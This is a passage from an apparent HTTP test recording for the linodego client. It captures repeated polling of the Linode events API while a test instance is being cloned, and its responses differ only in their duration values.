"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 26.436421, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 26.50277, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 26.5758, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "561" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 26.634952, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 26.692526, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 26.754596, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 26.858787, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 26.924387, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 26.987499, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 27.049881, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 27.111044, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 27.175517, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 27.241424, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 27.303713, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 27.36128, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 27.430024, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 27.512587, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 